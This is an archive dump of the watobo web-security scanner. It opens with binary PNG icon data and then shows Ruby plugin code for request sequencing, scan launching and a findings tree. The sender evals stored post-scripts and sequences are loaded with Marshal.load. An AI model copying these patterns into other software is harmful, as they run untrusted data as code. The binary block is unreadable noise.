tIME(eLtEXtCommentCreated with GIMPW IDATxy\?wDR$ !m}SÄ11C.VČe5"ɩ!&Qrz~̘Ό>Nu_^^|ν\ur0gϞEPP9y155%#GĉѫW/3a` _ƁuV<}3g%K{Lx ܻw~~~8w:ڶmK|||0k,hii1a03'|)={Pe@= r8K,Q+W &ʕ+l`7,Y]vq5ن˗/6a0/qooo$&&Q_ƩJ{ٳgVs&< IHH+++d\.]Ȅ `iiN:A$A$!Hp=ܼyO^QQQAΝKvB.qN'O4O'xm+**p ߿G3gΐaÆ1a0{쁷7/^wwwRٻworƍ0a0@QQzA-F"{E˖-Uott4 B-v[n%^^^Jv`(`jqww'Ǐ =zDttt1/2a0TvotӱcG۷Z~W&< FmԾ2ǎmpvvƮ]f`v"""ŻZt)Qcڴiӧ!''GcFMqq8}PSSH$˗/w^^{MM6gVh6lcΝ;KLL䢣ԩS0ϟ?Ǎ7p-oG^^$ 9 PĤIit=]tt40 o߾ů Xׯ#66^iՇqqttD ^zI>8|8SOB(--ő#GltM)hiik׮HJJ]*Sx2CPR)vލc"2qư{Lf< ԩS&M(gfp%%%aÆlè=aĈLt(]QVVymtuu223aT8 <Lt(o)*ڵmV)Lxwww|8_@b1\\\j*jљ1ccP]R)~*[:wZ%ח36m}R[x6lXkd:i۷okdlb^KKZB$''r tYY޼y4jH2x,Z]v%GкukBܹsD.NHAhР5juu$AGG{ESЏAEJJ z Ԛ~!22GANNQ\\/_hYr2Ri!Jyׯu˟566ׯFM6Lx֭[4hؘ;w_~k׮ŕ+W]3D~ѲeЪUlAML|_JJJ ;;;bJ6o999Lx򑗗kӪU+(+]uDgسg%M0!͛LxCJ$0,X =3Ft7nN>̈́!< $%{ѣG܊+˄Qx >65GFFTx;w֛dL`` 7`„Q/f;۷okU[S*+ y|lèR:99///jSׁ_"==wK04o޼c7ߐ˗AN:o߾?~<{.7Kbˌ:ׯky۷?@e˄Q)))Aqq1ԩSѢE 6`  MQJ6dРAlO>lèTUUڴnZ9]vLx >7o, u}<0|/(Q%!x J<==P B;f`۷+ kRb0J ``00 `00 Շ0t֭S݊x Ab0Lx  ``0Lx `0a0(cдiSP&Nuh`N0 &<  `0a0Lx  C1{^  C455ym PVVCƆ_HRz OLLȺu`aaQBv"00'x _ń ЦMĄͥ؍ȹÐJl0LxMqq1Ν; <;w"""9sp8r?d_t0W^Ř1c0vX.&&FH;'NdKJJPQQD͛7Lx8|gptt^ N͞=DӧHMMe@SBBSUUsb۶mJq3nR^#^XXEGGBp&<˗puuEpp<ܾ}. Vx]4G DRR3ńNqe۠rJbGAOOҥKQ ~z*[R^^F!J鉠 hÇ Y>|^^^O>AgKGڵk;mڴ!Lx_5֭['DLkkkN:Chذ!ŝ;w5jQW||<H.mmmƍC$燬?߱c2Oܿ}Y͛G̙޽{8y$V^|Yv-YrnaaAPFvЮ];&Jϋ/}DW>&--MZYY*0ݜ}jOy:u*W MYYy-l]\\.{3.8~8U H+++ z%7666JqVKn߾-X%%%7oө~s@`£BCCQYYg׽{wrzI&pww8Nk̘1xa뭬/~G*ѱ&d£PSeѣGD"zX^nݺaǎԛK.3R& B***bCu#7D"\!JmmmNNN077gBf<^[[Z#:UUUpv؁Ho,xdIu, #K,6lz<j^((( FͩF$ b Sby^zkWw`ذa`xn߾׏ cG5"ONUUJӧNAѣGsׯ_gGvD"$,}R}ҥ 1b%WZ455s"..JI>|yzzǏCKK JkϑcǎaOw!oΝ;ט֖> YYYdҤI}6G!knnnD,AlP Tv6l`S CCC+z0ᩁdlIN0k,ogAAτ8xmԽLm U&< otڕ @tСV3&&^1Q"kٲ%,-3ǜ!TUUQepB]+ԧ f&<:?ˬ-ԧ}SKE\\J&/^,Htuu%wo &Xy͚5cP]>z?gAPm۶%oG}Ӈ̞=Wbb"RSSѷo_b0:Rh4rrr8!)~~~Xt) 0@˖-]tᝡ8qB:R)BCC1j(q;vƏO Qh׮,--y9,Y'N˗//::#Gĉx=#+ӨQ#X[[SfggsvNM4 ^"믿ԩS{J>|ܹ֘0~+Wpsڵk 6 .]W7o`֭֭[p#;--:t(rss0u;BSS\]]iӦ޽{(,,ׯ,^ͥ>|gmm]#Lx %ѠA 80?~߿?gll;n8,ZKLL˵ӧÕ>a~<={ '''DEE RVYYYeeggs$011ao E|0ѣqQ" EQH$nܹsJϖZ 122X,'رJXSRR8[[[0a0Lƍm69s{!Ǐ'ڵS H$ܨQ΄t gFHHrrrйsgB~~>$ +Çx9! cԼysth֬ }}}a)jj%R)D"e̛7LJZ|$ 7vXrԩjZLaa!Wχ@cOrG!(..FJJ %уVVVׯLLLШQ#Aaxbhkkd}r&044d`TM6)T߿ݿ)ڵ+LÇCSSo'e2uT?\9{,61%--;{,7i$Yf܀XHe˖СC2)ߓ'O8'''ڙ05̝;w5kp?>Ҕ~6e$>ܠAr2d`۷o׽{wn޼yJ駟b޽23&< у[p!$5kl"dffr#F/pr^;E,a0޽{9{{{(-ep>w-ceeUƍx"6lؐ!J;|LJ;}4133ða`gg ։a0`S@AK.f2nR<~7n܀X,FLL $I)//@DDٸq#Ujdyz*;.=+)8CZZ֯_'Oꖕ[!͠A/^#Fr :|NfLJ ڵ+݂ }A*2+W`رTY;wVw;wĕ+WJY>xbf7o͛7M6UkyZcƌ]]]ҬY3hiiAMM ǡ r TD" u!C{{{t ڵs˗ō7pYP'ȨQToÄ IL˴5j.\[/^8W'Y _u,V"nnn޽ǪBNNv؁[\СC"][l9&5!Uaĉz*sӦMCXӧOO?єQi-~GEgԨQ$22YzKjjj044ƍq 2b"|#퍮]2g?Wywx1r잗ǭZ9s@]]"M.\VjdqLLLC%D $'NID pnݚ ٵkWd\```ҥK///۷>&M4'>|___b``H@\\\HDDFTLMM.222 vɒ%TesGZyyy7nRՕ o͛j*e_AAiѢ)==W\SD"QWUU!;;[H"(S__C'}yyyrY"100hܰaCHRTUUqh֬Zl ===cի7n,x|gߐJXt)vMNA0qD>}HbmmzOd oÇѫW/ށɘ1cjŋJϷTTTݻpss̘ɪU5^T*EEE;m۶!??s+G/Dh޼9UYIHH@tt4b1477' ͕[nT#;v-3** NNN͙3Ț^O2o^)fmMUPYYgϞ #+:dgƍD﯌=,#88zKBBg+zƌ1cFӠ ,Z̙3ؼy3o`+++wٳpuuj5BРAmۖw?E*bܻw^...ٳ'ׯ366&/_G+:!^gjjyxx ++Km;w.F\=UŇ4S-BCCyOm6lYcZ*2]vT]~㸿-h.#f>iVjj*ݻkgee7GA!?~ܟ>}:ٷo߾}IMhڴ)x[=$ oy˗/r=QIiӦ >OLL жdeeرcv&&&DѫW/2uTJMhܿw!+>۶my?̌;mmm"6n:r}RZZJi&j2n޸qf&###ڿl2YHH\\1c͘1qqq2~hCШQ#*dHj Xz5.\,Ǔe˖MM6*'<;v,_'O888Ύ)8AN'TQQ<ޙǠAseÇ9Zщ䒧9._ Z9|cnn.Ѐ|||0u|KKK,Nlǰapԩl'VVVE,YO:%Wq-~F<_x\A裏ЫW/[j^!ܧڬYO?Uˣ9** 666Ƞ[[[8"d<S֭҅g߾}D,ͩ|hO[iI3N)<hy17}tnx̳ɉꫯzYUթ,_*+64$$$P033֞͞ dee Tؼys֙$H}nkDx^zx*9 3gb߾}}6QZZoD000'I.Ǐ}^SSSb1իw___*;f=M4ANx튊vT*D"A~~> O2)"qCeePY?/J;;v;vttt)!PUUJ\~j$ŋʕ+rmr5554k ڵCϞ=ѹsg _(**Bzz:N#ˑڢ}X,N:Aqq1zTT 1Ġ ab@?}֭[UB*%#Ԧ9-4gSRRJ*<>ĤIS&:JLJ۰aC/qT1.#o!diӦh(5_}2Q2WN>$@]].dQDeekKl jhv"ԾN/8 *:?}씉SϼϫWڷB^=z8+" Off&o|ĉ4)j3T?\Ф3gЄ*4={V&F"J݌MHKKYYYY^`` ͼPiܸ1s MZ ys>|ۿRYѼ64G4}9_VQ ;v$}lllRǚˉ8aDDDXXX^z#WeѢE tޝ.>>^:mmmAI,+ܟJ+ GQrff&9x )!X[[cΝEH$YT uuu}xy&w1]aaa_ybҤI~O? 6Hh"„]]]bc޽dʔ)Z/dll, !:ݻannBhO(HZZB2)'NkGV=zzzՕ;wm޼c@ УGfBEE^zERSSqUDEEA,KigO>/Ig"H> Y}|0)1\\\o> 3fk իG@@u{hB]zݻ1c;wĖZ *1l0,YT###[~JՆǏs?Bihh#--x{{Dl߾=&iiid OsYDEEQ U܋bРAT0ٙ&%%411̙3^]v)%l!;#.. Q퉍 %$==}RrvIRlڴΎt҅...B6c 8::^Z:JlmmqA^0xxx|ІQz6mDvܩ\8B_|W +^*_ ^GmG888Ғܼy޽{W^,SN={69x ?p'O& qUqF*&4A._ٮ];-sR!=z4ƍ}||L''4:999HpB3...8bP('O;y$GY?M&Lz;Lxbذa0aHlڴ*.WUUt6mڄ;vP/ӣ*r)\\\0j_0...vƌ8q"{F\\7bĈ:?իEgرdժUTQQQ\ՊĄQmڶm MM64W\.wƍTIqm999unsss.LCϏ c&ϻXA0? 7onذ!k{ HRAOO۷o?  gΝDެmڴmذA~2aTkOh kkk%w]"˗/ǢEd4ˋ2eJo>K,nɌ38lEX,k#k+>>>2̐g"""ꅙ6miѢBabbbժU$00Pɓɓ'Ѿ}{һwoEѤIl4BH$dggǸqr0vX',hiiaÆ ={6mLL Hh7uBGኤI&ضmZhA6lP:;;ƙ3g={C0225jB~{J IDATw<CNN8CJJ _6___j*'oo;wɓѦM )NI`` _CޞjP֮] {{{f '%%qIIIwBuu1~ͅO! ˗/iӦ C bN<?~\)mǹsm6bdd7qZHj*rQNff&dLͩm0dbʕ0`L/ٳ[*}͚5'0k֬Z&>4Zf U<!HHHg .$#FNx^z6 ޳BGGʫ>>>> ω> 4Ν;N͛GhOhT;;;E6npB777P;u$ƈL/ 8@SBcǎHKK_MhjӧDr%XYY)kbb"lllK-:G&2p]3<}f@bhhӧOC___&YpҖ]ӰaC|xѶmۈPդIHhh(III!{M=ѣ}<<<ȟdFuּ?3X/쩙ڵkh׮ˮis . >>h@˰Ν;e˖k׮## ᑖkkkWF";wY%T֭[GѰaC rp9xyywHΝkMRSS1|pdgg4U[~=YlY͛7(,,D\\nݺdŋw ]]]Ҽysvvvر#7o--{ZZ &wNU/իW*7o;v,ѸqcfV!8^Brr2pAD377'Վlrss1p@p!2eKYYc5קOy/55L}߻w/UgΜz'|8( KKKyfXZZO>gJOOtӦMڴiRRyyyHJJիWqE4[3gٽ{N~7ǫW|r oEWWV{#ݝl߾]Wؔt:vhțʊ\~x9##?3133255/^Ph߅KRSSWYBcԨQra3F%55NNNԁ1y~7oqy}@GG/^@OOOnqvv&}aPRR 6T?ܹF0j\ 4W|۩H={ ХM:/^Z!}=}4&L k׎`֬YൗH$XjBBB>Xѣɱcjl-5J۶mqEt_v F~gruXv-?I̙CZnMꕕ%>>>$33$''cTzzz8x nܸAO5z8f< 1o~-;v ӦMܹsXb9\VV{yyypuu޽;c,--֭[sοJ,\x,-&< ŋ8p:v+++ V6qرc-[ƻԉ'fffݻ7oݾWк% """вeKȒ !h׮_ŋCȜK,]8%ֱc0hР:]ǑQ_A6mOHH***о}{h7Ί t )6޽{… 6nBmmلϗW^hݺ5agg+<8N'F(Q/tFO>*۶ ӭ[7 :Tn?c!3a0[Ɛ!CT]*4+CFTQxu? B-UB$e< QD:u,Xk׮;?{N"-vqP/QP Vh/hҐ8 Ug]\A"%Zxr?{{ SjN&lnU""LjL}NS{ꥺ,?+MYs'tAG.q.:Q#' ; x8.+8kݓ0VNkI,b "Ȩ ,iH1U#P!9~?=[09&@׋m ]YcngJk `z[u[I ɑ~Fߔn5wns>U88ιӚwrF> cHRMz&u0`:pQ<UPLTER])@tRNS^5,/.-?NtjD6$:~Ѱw034@B'Ɋ 87x)(FHCG<";d[#WzIJE_]KL qs|c`abXig AhQM>٤}\UT!ȍP&lҧuV9v *Y%m2y=p^wbKGDz pHYs  tIME &IDAT8uiWRQ7R @ 'hDPS*&`N)8PacbfNXiZFbjYi6:W|k>k>?ǎ Ȕ'©4~dXV$O F}&&6MHL ɨ$gŝ*+*LD"L$ed)d]IH$d_=Zȕby8]d  B,@V!$TMPhd_ݨʪj/z7W* 7*oyii *S[{[Vrvmܹ﹗m2T m>C?`)휡dp rGV_w #-(bb 2}&eNO9jAdA4GN3l5'ZBhcTY0e3M$,Ɵd|,B%[]={Sq$HScaL k03Trës-<٪yJ6ݽy v=SAmiY' )%تFWzޫin?@uD(v: 3`OxKZCtٰGC/ĹaGHҼg|Vs+d\\'دܘ vBsޮ{[;&&q KxdŔ{]Kws13\nh/ph]4WtEXtCommentCreated with GIMPW%tEXtdate:create2020-04-01T14:07:13+00:00 p%tEXtdate:modify2020-04-01T14:06:40+00:00#`tEXticc:copyrightPublic Domain1["tEXticc:descriptionGIMP built-in sRGBLgAtEXticc:manufacturerGIMPLtEXticc:modelsRGB[`ICIENDB`watobo-1.0.1/plugins/sequencer/lib/000077500000000000000000000000001366346341400172375ustar00rootroot00000000000000watobo-1.0.1/plugins/sequencer/lib/element.rb000066400000000000000000000020031366346341400212100ustar00rootroot00000000000000module Watobo module Plugin class Sequencer class Element include Watobo::Mixins::RequestParser attr :name attr_accessor :request, :pre_script, :post_script, :enabled # we need this for RequestParser mixin def to_s @request end def to_h h = {} h[:name] = @name h[:request] = @request h[:pre_script] = @pre_script h[:post_script] = @post_script h[:enabled] = @enabled h end def enabled? @enabled end def enable @enabled = true end def disable @enabled = false end def initialize(prefs) @request = nil @pre_script = nil @post_script = nil @enabled = true %w( name request pre_script post_script enable).each do |e| instance_variable_set("@#{e}", prefs[e.to_sym]) end end end end end endwatobo-1.0.1/plugins/sequencer/lib/sender.rb000066400000000000000000000025561366346341400210540ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sequencer class Sender < Watobo::Session attr_accessor :logging def initialize() @logging = false super(self.object_id, Watobo::Conf::Scanner.to_h) end def run_sequence(sequence) if sequence.nil? puts "!No Sequence active!" return false end puts "+ running sequence" sequence.each do |e| if e.enabled? puts e.name do_request(e) end end end # do_request # input: # - request # - prefs # returns: chat def do_request(element, prefs = {}) begin request = element.to_request test_req, test_resp = self.doRequest(request, prefs) unless element.post_script.nil? or element.post_script.empty? f = eval(element.post_script) f.call(test_resp) end chat = Watobo::Chat.new(test_req, test_resp, :source => CHAT_SOURCE_MANUAL, :run_passive_checks => false) Watobo::Chats.add(chat) if logging == true rescue => bang puts bang puts bang.backtrace if $DEBUG end return nil end end end end endwatobo-1.0.1/plugins/sequencer/lib/sequence.rb000066400000000000000000000021561366346341400214000ustar00rootroot00000000000000module Watobo class Sequence < Array def self.create(filename) prefs = {} if File.exist?(filename) then File.open(filename, "rb") { |f| prefs = Marshal::load(f.read) prefs[:file] = filename } end seq = Sequence.new prefs # Watobo::Sequences.add seq seq end attr :name, :file def add(element) self << element end def to_h h = {} h[:name] = @name h[:file] = @file h[:elements] = [] each do |e| h[:elements] << e.to_h end h[:vars] = [] h end def initialize(prefs) init(prefs) end private def init(prefs) @name = prefs[:name] @file = prefs[:file] if prefs.has_key? :elements prefs[:elements].each do |element| self << Watobo::Plugin::Sequencer::Element.new(element) #binding.pry end end if prefs.has_key? :vars prefs[:vars].each do |var| end end @vars = prefs[:vars] end def method_missing?(name, *args, &block) end end endwatobo-1.0.1/plugins/sequencer/lib/sequences.rb000066400000000000000000000000531366346341400215550ustar00rootroot00000000000000module Watobo module Sequences end endwatobo-1.0.1/plugins/sequencer/sequencer.rb000066400000000000000000000006131366346341400210100ustar00rootroot00000000000000# @private module Watobo#:nodoc: all::Plugin module Plugin class Sequencer < Watobo::PluginBase plugin_name "Sequencer" description "Create and run request sequences, e.g. for complex API request chains." load_libs load_gui :main, :create_element_dlg, :elements_frame, :list_frame, :details_frame, :var_frame, :request_frame, :post_script_frame end end end watobo-1.0.1/plugins/sniper/000077500000000000000000000000001366346341400157775ustar00rootroot00000000000000watobo-1.0.1/plugins/sniper/gui/000077500000000000000000000000001366346341400165635ustar00rootroot00000000000000watobo-1.0.1/plugins/sniper/gui/main.rb000066400000000000000000000134771366346341400200500ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sniper include Watobo::Settings class Gui < Watobo::PluginGui window_title "Sniper" icon_file "sniper.ico" def start @results = [] @tree_view.clear @tree_view.set_base_dir @url.text end def stop end # def onBtnQuickScan(sender, sel, item) def start_scan log_message = "STARTING SNIPER SCAN" # quick_scan_options = dlg.options scan_chats = create_chats selected_checks = @policy_frame.getSelectedModules unless scan_chats.empty? then scan_prefs = Watobo::Conf::Scanner.to_h # we don't want logout detection during a QuickScan # TODO: let this decide the user! #scan_prefs[:logout_signatures] = [] if quick_scan_options[:detect_logout] == false # scan_prefs[:csrf_requests] = @project.getCSRFRequests(@original_request) if quick_scan_options[:update_csrf_tokens] == true scan_prefs[:run_passive_checks] = false # logging required ? #if quick_scan_options[:enable_logging] and quick_scan_options[:scanlog_name] # scan_prefs[:scanlog_name] = quick_scan_options[:scanlog_name] #end # scan_prefs.update quick_scan_options if $DEBUG puts "* creating scanner ..." puts quick_scan_options.to_yaml puts "- - - - - - - - -" puts scan_prefs.to_yaml end # we only can have one thread for csrf_token updates ... because it's not thread-safe ... yet scan_prefs[:max_parallel_checks] = 1 if scan_prefs[:update_csrf_tokens] == true @scanner = Watobo::Scanner3.new(scan_chats, selected_checks, [], scan_prefs) sum_totals = 0 @scanner.progress.each_value do |v| sum_totals += v[:total] end @pbar.total = sum_totals @pbar.progress = 0 @pbar.barColor = 'red' csrf_requests = [] # if quick_scan_options[:update_csrf_tokens] == true # unless csrf_requests.empty? # csrf_requests = Watobo::OTTCache.requests(req) # end # end run_prefs = { # :update_sids => @updateSID.checked?, # :update_session => @updateSession.checked?, :csrf_requests => csrf_requests, :csrf_patterns => scan_prefs[:csrf_patterns], :www_auth => scan_prefs[:www_auth], #:follow_redirect => quick_scan_options[:follow_redirect], } #logger("Scan Started ...") Watobo.log(log_message, :sender => self.class.to_s.gsub(/.*:/, "")) #@scan_status = :SCANNER_STARTED add_update_timer(500) @scanner.run(run_prefs) end end def initialize() super() @settings = Watobo::Plugin::Sniper::Settings @results = [] @settings.export_path ||= Watobo.workspace_path @agent = Watobo::Plugin::Sniper::Agent.new begin main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) url_frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) @start_btn = FXButton.new(url_frame, "start") @start_btn.connect(SEL_COMMAND) { start_scan } @stop_btn = FXButton.new(url_frame, "stop") @stop_btn.connect(SEL_COMMAND) { stop } splitter = FXSplitter.new(main_frame, LAYOUT_FILL_X|SPLITTER_HORIZONTAL|LAYOUT_FILL_Y|SPLITTER_TRACKING) @targets_frame = TargetsFrame.new(splitter, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X) @policy_frame = ChecksPolicyFrame.new(splitter) @policy_frame.subscribe(:sel_command) { puts '* checks changed' } @result_frame = ResultFrame.new(splitter, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X) #top_frame = FXVerticalFrame.new(splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_FIX_HEIGHT|FRAME_SUNKEN,:height => 500) #checks_frame = FXVerticalFrame.new(splitter, :opts => LAYOUT_SIDE_BOTTOM, :width => 450) @pbar = FXProgressBar.new(main_frame, nil, 0, LAYOUT_FILL_X|FRAME_SUNKEN|FRAME_THICK|PROGRESSBAR_HORIZONTAL) @pbar.progress = 0 @pbar.total = 0 @pbar.barColor = 'grey' #FXRGB(255,0,0) frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) @save_btn = FXButton.new(frame, "export", :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @save_btn.connect(SEL_COMMAND) { save_results } rescue => bang puts bang puts bang.backtrace exit end end private def create_chats chats = [] @targets_frame.targets.each do |t| trequest = Watobo::Request.new(t) chats << @agent.do_request(trequest) if Watobo::HTTPSocket.siteAlive?(trequest) end chats end def add_update_timer(ms) @timer = FXApp.instance.addTimeout(500, :repeat => true) { unless @scanner.nil? if @pbar.total > 0 @pbar.progress = @scanner.sum_progress end if @scanner.finished? @scanner = nil # logger("Scan Finished!") @pbar.progress = 0 @pbar.total = 0 @pbar.barColor = 'grey' #FXRGB(255,0,0) FXApp.instance.removeTimeout(@timer) @result_frame.update end end } end end end end endwatobo-1.0.1/plugins/sniper/gui/result_tree.rb000066400000000000000000000554221366346341400214550ustar00rootroot00000000000000#require 'qcustomize.rb' # @private module Watobo #:nodoc: all module Plugin class Sniper class Gui class ResultTree < FXTreeList include Watobo::Constants include Watobo::Gui::Icons attr_accessor :project def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def expandFullTree(item) @expandeds = [] self.expandTree(item) item.each do |c| expandFullTree(c) if !self.itemLeaf?(c) end end def collapseFullTree(item) @expandeds = [] self.collapseTree(item) item.each do |c| collapseFullTree(c) if !self.itemLeaf?(c) end end def hidden?(finding) return true if @hide_false_positives == true and finding.false_positive? false end def reload() self.clearItems @findings.clear Watobo::Findings.each do |fid, finding| addFinding(finding) end expand_findings @expandeds.each do |t| site, text = t.split("|") if (site = self.findItem(site, nil, SEARCH_FORWARD|SEARCH_NOWRAP)) if (node = self.findItem(text, site, SEARCH_FORWARD|SEARCH_NOWRAP)) self.expandTree(node) else @expandeds.delete t end end end end def useRegularIcons() regular_font = FXFont.new(getApp(), "helvetica", GUI_REGULAR_FONT_SIZE) regular_font.create # Findings Tree Icons @icon_vuln = ICON_VULN @icon_vuln_bp = ICON_VULN_BP @icon_vuln_low = ICON_VULN_LOW @icon_vuln_medium = ICON_VULN_MEDIUM @icon_vuln_high = ICON_VULN_HIGH @icon_vuln_critical = ICON_VULN_CRITICAL @icon_info = ICON_INFO @icon_info_info = ICON_INFO_INFO @icon_hints_info = ICON_INFO_INFO @icon_project = ICON_PROJECT @icon_hints = ICON_HINTS self.font = regular_font reload() end def useSmallIcons small_font = FXFont.new(getApp(), "helvetica", GUI_SMALL_FONT_SIZE) small_font.create @icon_vuln = ICON_VULN_SMALL @icon_vuln_bp = ICON_VULN_BP_SMALL @icon_vuln_low = ICON_VULN_LOW_SMALL @icon_vuln_medium = ICON_VULN_MEDIUM_SMALL @icon_vuln_high = ICON_VULN_HIGH_SMALL @icon_vuln_critical = ICON_VULN_CRITICAL_SMALL @icon_info = ICON_INFO_SMALL @icon_info_info = ICON_INFO_INFO_SMALL @icon_hints_info = ICON_INFO_INFO_SMALL @icon_project = ICON_PROJECT_SMALL @icon_hints = ICON_HINTS_SMALL self.font = small_font reload() end def hideDomain(domain_filter) #@interface.default_settings[:domain_filters].push domain_filter #@interface.updateTreeLists #notify(:new_domain_filter, domain_filter) end def addFinding(finding) # p "* add finding to tree" # puts finding.details[:title] @findings[finding.details[:fid]] = finding if @show_scope_only == true addFindingItem(finding) if Watobo::Scope.match_site?(finding.request.site) else addFindingItem(finding) end end def addFindingItem(finding) begin site = nil # puts "add finding" if not hidden?(finding) then site = self.findItem(finding.request.site, nil, SEARCH_FORWARD|SEARCH_IGNORECASE) if not site then # found new site site = self.appendItem(nil, finding.request.site, @icon_project, @icon_project) item = self.appendItem(site, "Vulnerabilities", @icon_vuln, @icon_vuln) self.setItemData(item, :finding_type) item = self.appendItem(site, "Hints", @icon_hints, @icon_hints) self.setItemData(item, :finding_type) item = self.appendItem(site, "Info", @icon_info, @icon_info) self.setItemData(item, :finding_type) #site = @findings_tree.moveItem(project.first,project,site) self.setItemData(site, :item_type_site) end finding_type="" case finding.details[:type] when FINDING_TYPE_INFO finding_type = "Info" icon = @icon_info_info when FINDING_TYPE_HINT finding_type = "Hints" icon = @icon_hints_info when FINDING_TYPE_VULN finding_type = "Vulnerabilities" icon = @icon_vuln_bp if finding.details[:rating] == VULN_RATING_LOW icon = @icon_vuln_low # puts "low-rating-vuln" end if finding.details[:rating] == VULN_RATING_MEDIUM icon = @icon_vuln_medium end if finding.details[:rating] == VULN_RATING_HIGH icon = @icon_vuln_high end if finding.details[:rating] == VULN_RATING_CRITICAL icon = @icon_vuln_critical end end sub_tree = self.findItem(finding_type, site, SEARCH_FORWARD|SEARCH_IGNORECASE|SEARCH_NOWRAP) if sub_tree and sub_tree.parent == site and finding.details[:class] class_item = nil # don't use findItem here because of nested collisions sub_tree.each do |c| if c.text =~ /^#{Regexp.quote(finding.details[:class])}/ class_item = c end end #class_item = self.findItem(finding.details[:class], sub_tree, SEARCH_FORWARD|SEARCH_IGNORECASE|SEARCH_NOWRAP|SEARCH_PREFIX) if not class_item or class_item.parent != sub_tree class_item = self.appendItem(sub_tree, finding.details[:class], icon, icon) self.setItemData(class_item, :finding_class) end title_item = self.findItem(finding.details[:title], class_item, SEARCH_FORWARD|SEARCH_IGNORECASE|SEARCH_NOWRAP) if not title_item or title_item.parent != class_item title_item = self.appendItem(class_item, finding.details[:title], nil, nil) self.setItemData(title_item, :title) # puts finding.details[:title] end # puts title_item resource = finding.request.path_ext request_item = self.findItem(resource, title_item, SEARCH_FORWARD|SEARCH_IGNORECASE|SEARCH_NOWRAP) if not request_item or request_item.parent != title_item text = "/" + resource request_item = self.appendItem(title_item, text) self.setItemData(request_item, finding) end # unless class_item.text =~ / \(\d+\)$/ class_item.text = class_item.text + " (#{class_item.numChildren})" else class_item.text = class_item.text.gsub(/ \(\d+\)$/, " (#{class_item.numChildren})") end end end rescue => bang puts "!ERROR: could not add finding to tree" puts bang puts bang.backtrace if $DEBUG end end def initialize(parent) @parent = parent @findings = Hash.new @show_scope_only = false @hide_false_positives = false @clipboard = "" @expandeds = [] super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_TOP|LAYOUT_RIGHT|TREELIST_SHOWS_LINES|TREELIST_SHOWS_BOXES|TREELIST_ROOT_BOXES|TREELIST_EXTENDEDSELECT) #useRegularIcons() @filtered_domains = Hash.new # domains which already have been filtered self.connect(SEL_CLIPBOARD_REQUEST) do setDNDData(FROM_CLIPBOARD, FXWindow.stringType, Fox.fxencodeStringData(@clipboard.to_s)) end self.connect(SEL_EXPANDED) do |sender, sel, item| parent = item while parent.parent parent = parent.parent end unless parent.nil? or item.nil? node = "#{parent.text}|#{item.text}" @expandeds << node end end self.connect(SEL_COLLAPSED) do |sender, sel, item| parent = item while parent.parent parent = parent.parent end node = "#{parent.text}|#{item.text}" @expandeds.delete node end self.connect(SEL_COMMAND) do |sender, sel, item| if self.itemLeaf?(item) getApp().beginWaitCursor do begin if item.data if item.data.is_a? Watobo::Finding #@interface.show_vuln(item.data) notify(:vuln_click, item.data) end end rescue => bang puts "!!! Error: could not show selected finding" puts bang end end elsif item.data == :title then #@interface.show_vuln(item.first.data) if item.first.data notify(:vuln_click, (item.first.data)) if item.first.data end end self.connect(SEL_DOUBLECLICKED) do |sender, sel, item| if self.itemLeaf?(item) begin puts item.data.class if item.data.is_a? Watobo::Finding #TODO: show vulnerability details # @interface.showFindingInfo(item.data) notify(:finding_click, item.data) else puts item.data.class.to_s end rescue => bang puts "!!! Error: could not show selected finding" puts bang end end end self.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| unless event.moved? FXMenuPane.new(self) do |menu_pane| item = sender.getItemAt(event.win_x, event.win_y) unless item.nil? data = self.getItemData(item) unless self.itemLeaf?(item) FXMenuCommand.new(menu_pane, "expand tree").connect(SEL_COMMAND) { expandFullTree(item) } FXMenuCommand.new(menu_pane, "collapse tree").connect(SEL_COMMAND) { self.collapseFullTree(item) } FXMenuSeparator.new(menu_pane) end end target = FXMenuCheck.new(menu_pane, "show scope only") target.check = @show_scope_only target.connect(SEL_COMMAND) { |ts, sl, it| @show_scope_only = ts.checked? reload } target = FXMenuCheck.new(menu_pane, "hide false-positives") target.check = @hide_false_positives target.connect(SEL_COMMAND) { |ts, sl, it| @hide_false_positives = ts.checked? reload } unless item.nil? data = self.getItemData(item) FXMenuSeparator.new(menu_pane) unless data == :finding_type if data == :item_type_site then # FXMenuSeparator.new(menu_pane) FXMenuCommand.new(menu_pane, "add site to scope").connect(SEL_COMMAND) { #notify(:add_site_to_scope, item.to_s) Watobo::Scope.add item.to_s reload } # elsif data == :title findings = [] item.each do |ft| f = self.getItemData(ft) findings << f if f.is_a? Watobo::Finding end fp_submenu = FXMenuPane.new(self) do |sub| target = FXMenuCommand.new(sub, "Set False Positive") target.connect(SEL_COMMAND) { # puts "* False Positive #{findings.length}" # remember parent node to expand it later fclass = item.parent.text fcat = item.parent.parent.text fsite = item.parent.parent.parent.text puts ">> #{fsite} - #{fcat} - #{fclass} (#{fclass.object_id})" notify(:set_false_positive, findings) reload site_item = cat_item = class_item = nil site_item = self.findItem(fsite, nil, SEARCH_FORWARD|SEARCH_IGNORECASE) unless site_item.nil? self.expandTree(site_item) cat_item = self.findItem(fcat, site_item, SEARCH_FORWARD|SEARCH_IGNORECASE) end unless cat_item.nil? self.expandTree(cat_item) class_item = self.findItem(fclass, cat_item, SEARCH_FORWARD|SEARCH_IGNORECASE) end unless class_item.nil? puts "Expanding #{class_item} (#{class_item.object_id})-> #{cat_item} -> #{site_item}" self.expandTree(class_item) else puts "Could not find tree item for #{class_item} (#{class_item.object_id})-> #{cat_item} -> #{site_item}" end } target = FXMenuCommand.new(sub, "Unset False Positive") target.connect(SEL_COMMAND) { fclass = item.parent.text fcat = item.parent.parent.text fsite = item.parent.parent.parent.text notify(:unset_false_positive, findings) reload site_item = cat_item = class_item = nil site_item = self.findItem(fsite, nil, SEARCH_FORWARD|SEARCH_IGNORECASE) unless site_item.nil? self.expandTree(site_item) cat_item = self.findItem(fcat, site_item, SEARCH_FORWARD|SEARCH_IGNORECASE) end unless cat_item.nil? 